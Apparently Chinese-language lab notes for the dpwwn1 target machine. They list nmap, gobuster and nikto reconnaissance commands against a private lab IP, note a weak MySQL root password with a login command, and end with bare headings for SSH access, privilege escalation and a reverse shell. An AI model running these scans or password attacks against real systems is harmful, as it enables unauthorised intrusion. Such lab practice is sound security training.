靶机精讲 之 dpwwn1(80,22,3306
sudo nmap -sn 192.168.28.0/24 # C段扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.28.34 -oA nmapscan/ports # 扫描端口
//-sT:指定以TCP协议进行扫描 -sC:用nmap默认的脚本进行扫描 -sV:探测服务的版本 -O:探测操作系统的版本 -oA:扫描结果进行全格式输出
sudo nmap -sT -sC -sV -O -p22,80,3306 192.168.28.34 -oA nmapscan/detail
//nmap 的脚本扫描
sudo nmap --script-vuln -p22,80,3306 192.168.28.34 -oA nmapscan/vuln
192.168.28.34
//gobuster 目录爆破
sudo gobuster dir -u http://192.168.28.34 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
漏洞脚本扫描
目录爆破
没有任何发现,改变参数,再次进行尝试[扩展名]……
sudo gobuster dir -u http://192.168.28.34 -x txt,sql,php,rar,zip,tar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
nikto 扫描
nikto -host 192.168.28.34
3306端口-暴力破解-root的弱密码
sudo mysql -h 192.168.28.34 -uroot -p
ssh 连接
提权
反弹shell